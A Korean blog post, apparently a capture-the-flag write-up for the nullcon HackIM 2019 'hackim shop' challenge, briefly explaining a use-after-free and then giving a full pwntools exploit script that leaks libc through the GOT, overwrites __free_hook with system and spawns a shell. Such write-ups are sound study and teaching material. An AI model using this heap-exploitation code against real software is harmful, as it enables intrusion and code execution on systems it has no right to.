nullcon hackim 2019 hackim shop
나한테는 정말 신기한 문제였다.
처음에는 libc를 안줘서 출제진이 실수를 했나.. 생각했는데 libc version까지 구해야 하는 문제였다.
취약점은 명확하다.
전역 변수에서 free후 값을 초기화를 안시키기 때문에 dangling pointer 상황이 발생하여 fastbin dup이 가능해진다.
처음에는 fastbin dup이라고 생각했는데 libc를 leak해보니 2.27이어서 tcache dup으로 풀었다. 별반 차이가 없긴 하지만..
fastbin dup으로 got의 주소를 leak하여 libc version을 알아낸 후 원래 하던 것처럼 익스를 하면 된다.
x
from pwn import *
#context.log_level = 'debug'
e = ELF('./challenge')
s = connect('pwn.ctf.nullcon.net', 4002)
#s = process(e.path)
#l = ELF('/lib/x86_64-linux-gnu/libc.so.6')
#s = process(e.path, env={'LD_PRELOAD': './libc6_2.27-3ubuntu1_amd64.so'})
l = ELF('./libc6_2.27-3ubuntu1_amd64.so')
ru = lambda x: s.recvuntil(x)
sl = lambda x: s.sendline(x)
p = lambda : pause()
io = lambda : s.interactive()
def menu(sel):
ru('> ')
sl(sel)
def add(length, name, price):
menu('1')
ru('length: ')
sl(length)
ru('name: ')
sl(name)
ru('price: ')
sl(price)
def remove(idx):
menu('2')
ru('index: ')
sl(idx)
def view():
menu('3')
add(str(0x60), '0', '')
add(str(0x60), '1', '')
add(str(0x10), '2', '')
add(str(0x10), '3', '')
add(str(0x10), '/bin/sh\00', '')
add(str(0x10), '5', '')
remove('0')
remove('1')
remove('0')
remove('2')
view()
ru('"index": ')
leak = int(ru(',').rstrip(','),10)
print('leak!: {}'.format(hex(leak)))
heap_top = leak - 0x60
add(str(0x30), p64(heap_top), '')
add(str(0x30), p64(heap_top) + p64(e.got['setbuf']), '')
view()
ru('"name": "')
setbuf = u64(ru('"').rstrip('"').ljust(8, '\x00'))
print('setbuf!: {}'.format(hex(setbuf)))
remove('3')
add(str(0x30), p64(heap_top) + p64(e.got['puts']), '')
#add(str(0x30), 'A'*8 + p64(e.got['puts']), '')
view()
ru('"name": "')
puts = u64(ru('"').rstrip('"').ljust(8, '\x00'))
print('puts!: {}'.format(hex(puts)))
libc_base = setbuf - l.symbols['setbuf']
print('libc_base!: {}'.format(hex(libc_base)))
system = libc_base + l.symbols['system']
f_hook = libc_base + 0x3ed8d8 + 0x10
add(str(0x60), p64(f_hook), '6')
add(str(0x60), 'hehe', '7')
add(str(0x60), 'hehe', '7')
add(str(0x60), p64(system), '')
remove('4')
io()
'system > writeup' 카테고리의 다른 글
nullcon hackim 2019 tudutudututu (0) | 2019.02.03 |
---|---|
nullcon hackim 2019 babypwn (0) | 2019.02.03 |
2016 bctf memo (0) | 2019.02.02 |
2014 hitcon sktof (0) | 2019.02.01 |
pwnable.kr crypto1 (0) | 2019.02.01 |